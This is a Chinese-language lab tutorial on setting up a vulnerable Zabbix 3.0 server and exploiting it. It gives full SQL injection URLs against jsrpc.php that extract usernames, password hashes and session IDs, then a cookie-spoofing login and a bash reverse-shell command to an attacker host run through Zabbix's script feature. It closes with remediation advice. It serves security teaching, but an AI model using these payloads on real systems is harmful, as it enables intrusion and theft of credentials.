记一次zabbix安装及漏洞利用getshell全过程
字数 1346 2025-08-25 22:58:20

Zabbix安装及漏洞利用Getshell全过程教学文档

1. 前言

Zabbix是一款由Alexei Vladishev开发的网络监视、管理系统,基于Server-Client架构,可用于监视各种网络服务、服务器和网络机器等状态。由于其开源、安装简单等特点被广泛使用。

漏洞背景

  • Zabbix 2.2.x, 3.0.0-3.0.3版本存在SQL注入漏洞
  • 攻击者无需授权即可登陆Zabbix管理系统
  • 进入后台后可通过script等功能直接获取Zabbix服务器的操作系统权限

2. 环境安装

2.1 系统准备

  • 操作系统:CentOS 6.5
  • 软件要求:
    • PHP >= 5.4 (CentOS6默认为5.3.3,需更新)
    • curl >= 7.20 (如需支持SMTP认证,需更新)
  • 安装版本:Zabbix 3.0

2.2 关闭SELinux

vim /etc/sysconfig/selinux
# 将SELINUX=enforcing改为SELINUX=disabled
reboot
# 验证状态
getenforce

2.3 MySQL安装与配置

rpm -ivh http://dev.mysql.com/get/mysql-community-release-el6-5.noarch.rpm
yum install mysql-server -y

# 配置MySQL
vim /etc/my.cnf
[mysqld]
innodb_file_per_table

# 启动MySQL
service mysqld start

# 设置root密码
mysql_secure_installation

# 创建Zabbix数据库
mysql -uroot -p
CREATE DATABASE zabbix CHARACTER SET utf8 COLLATE utf8_bin;
GRANT ALL PRIVILEGES ON zabbix.* TO zabbix@localhost IDENTIFIED BY 'zabbix';

2.4 Zabbix安装

# 迁出RPM安装包
git clone https://github.com/zabbixcn/zabbix3.0-rpm.git
cd zabbix3.0-rpm/RPMS
yum install zabbix-web-mysql-3.0.0-1.el6.noarch.rpm zabbix-web-3.0.0-1.el6.noarch.rpm

# 安装PHP 5.6
rpm -ivh http://repo.webtatic.com/yum/el6/latest.rpm
yum install httpd php56w php56w-mysql php56w-gd php56w-imap php56w-ldap php56w-odbc php56w-pear php56w-xml php56w-xmlrpc php56w-mcrypt php56w-mbstring php56w-devel php56w-pecl-memcached php56w-common php56w-pdo php56w-cli php56w-pecl-memcache php56w-bcmath php56w-fpm

# 安装curl
git clone https://github.com/zabbixcn/curl-rpm
cd curl-rpm/RPMS 
yum install curl-7.29.0-25.el6.x86_64.rpm libcurl-7.29.0-25.el6.x86_64.rpm libcurl-devel-7.29.0-25.el6.x86_64.rpm

# 安装Zabbix-Server
yum -y install http://repo.zabbix.com/zabbix/3.0/rhel/7/x86_64/zabbix-release-3.0-1.el7.noarch.rpm

# 配置数据库连接
vi /etc/zabbix/zabbix_server.conf
DBHost=localhost
DBName=zabbix
DBUser=zabbix
DBPassword=zabbix

# 启动服务
/etc/init.d/zabbix-server start
/etc/init.d/httpd start

# 安装zabbix-agent
rpm -ivh http://repo.zabbix.com/zabbix/2.4/rhel/6/x86_64/zabbix-release-2.4-1.el6.noarch.rpm
yum install zabbix-agent -y
service zabbix-agent start
chkconfig zabbix-agent on

3. 漏洞利用

3.1 漏洞检测

访问以下URL检测漏洞是否存在:

/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=2'3297&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1

如果输出结果包含You have an error in your SQL syntax;,表示漏洞存在。

3.2 获取管理员凭证

尝试默认凭证

  • 用户名:Admin
  • 密码:zabbix

SQL注入获取用户名

jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=profileldx2=(select%201%20from%20(select%20count(*),concat((select(select%20concat(cast(concat(0x7e,name,0x7e)%20as%20char),0x7e))%20from%20zabbix.users%20LIMIT%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17

SQL注入获取密码

jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=profileldx2=(select%201%20from%20(select%20count(*),concat((select(select%20concat(cast(concat(0x7e,passwd,0x7e)%20as%20char),0x7e))%20from%20zabbix.users%20LIMIT%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17

SQL注入获取sessionid

http://[target_ip]/zabbix/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=profileldx2=(select%201%20from%20(select%20count(*),concat((select(select%20concat(cast(concat(0x7e,sessionid,0x7e)%20as%20char),0x7e))%20from%20zabbix.sessions%20LIMIT%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17

3.3 Cookie欺骗登录

  1. 获取到sessionid后,修改浏览器Cookie中的zbx_sessionid值为注入获取的sessionid
  2. 访问setup.php页面(如http://[target_ip]/zabbix/setup.php)
  3. 刷新后即可看到安装页面
  4. 访问http://[target_ip]/zabbix/即可成功进入后台

3.4 通过Script功能获取Shell

  1. 在Administration > Scripts中创建新脚本:

    • Name: 任意名称
    • Type: Script
    • Execute on: Zabbix server
    • Commands: 反弹shell命令,如:
      bash -i >& /dev/tcp/[attacker_ip]/[port] 0>&1
      
  2. 寻找触发点执行脚本:

    • 在Monitoring > Latest data中找到合适的主机
    • 点击主机名称,在右侧选择"Execute"执行脚本
  3. 如果执行脚本报错"Remote commands are not enabled",需要在靶机的zabbix_agentd.conf中添加:

    EnableRemoteCommands = 1
    

    然后重启zabbix-agent服务

4. 修复建议

  1. 升级版本:更新到最新版本的Zabbix
  2. 禁用guest账户:禁用默认的guest账户登录功能
  3. 禁用远程命令:在zabbix_agentd.conf中设置:
    EnableRemoteCommands = 0
    
  4. 加强认证:使用强密码,避免使用默认凭证
  5. 限制访问:通过防火墙规则限制Zabbix管理界面的访问IP

5. 注意事项

  1. 当监控中存在多个内网服务器时,脚本默认只在Zabbix Web服务器上执行
  2. 脚本执行位置可通过"Execute on"选项设置(Zabbix server/agent/proxy)
  3. 实际渗透测试中需获得授权,未经授权的测试可能涉及法律问题

本教学文档仅用于安全研究和授权测试目的,请勿用于非法用途。

Zabbix安装及漏洞利用Getshell全过程教学文档 1. 前言 Zabbix是一款由Alexei Vladishev开发的网络监视、管理系统,基于Server-Client架构,可用于监视各种网络服务、服务器和网络机器等状态。由于其开源、安装简单等特点被广泛使用。 漏洞背景 : Zabbix 2.2.x, 3.0.0-3.0.3版本存在SQL注入漏洞 攻击者无需授权即可登陆Zabbix管理系统 进入后台后可通过script等功能直接获取Zabbix服务器的操作系统权限 2. 环境安装 2.1 系统准备 操作系统:CentOS 6.5 软件要求: PHP >= 5.4 (CentOS6默认为5.3.3,需更新) curl >= 7.20 (如需支持SMTP认证,需更新) 安装版本:Zabbix 3.0 2.2 关闭SELinux 2.3 MySQL安装与配置 2.4 Zabbix安装 3. 漏洞利用 3.1 漏洞检测 访问以下URL检测漏洞是否存在: 如果输出结果包含 You have an error in your SQL syntax; ,表示漏洞存在。 3.2 获取管理员凭证 尝试默认凭证 : 用户名:Admin 密码:zabbix SQL注入获取用户名 : SQL注入获取密码 : SQL注入获取sessionid : 3.3 Cookie欺骗登录 获取到sessionid后,修改浏览器Cookie中的 zbx_sessionid 值为注入获取的sessionid 访问setup.php页面(如http://[ target_ ip ]/zabbix/setup.php) 刷新后即可看到安装页面 访问http://[ target_ ip ]/zabbix/即可成功进入后台 3.4 通过Script功能获取Shell 在Administration > Scripts中创建新脚本: Name: 任意名称 Type: Script Execute on: Zabbix server Commands: 反弹shell命令,如: 寻找触发点执行脚本: 在Monitoring > Latest data中找到合适的主机 点击主机名称,在右侧选择"Execute"执行脚本 如果执行脚本报错"Remote commands are not enabled",需要在靶机的zabbix_ agentd.conf中添加: 然后重启zabbix-agent服务 4. 修复建议 升级版本 :更新到最新版本的Zabbix 禁用guest账户 :禁用默认的guest账户登录功能 禁用远程命令 :在zabbix_ agentd.conf中设置: 加强认证 :使用强密码,避免使用默认凭证 限制访问 :通过防火墙规则限制Zabbix管理界面的访问IP 5. 注意事项 当监控中存在多个内网服务器时,脚本默认只在Zabbix Web服务器上执行 脚本执行位置可通过"Execute on"选项设置(Zabbix server/agent/proxy) 实际渗透测试中需获得授权,未经授权的测试可能涉及法律问题 本教学文档仅用于安全研究和授权测试目的,请勿用于非法用途。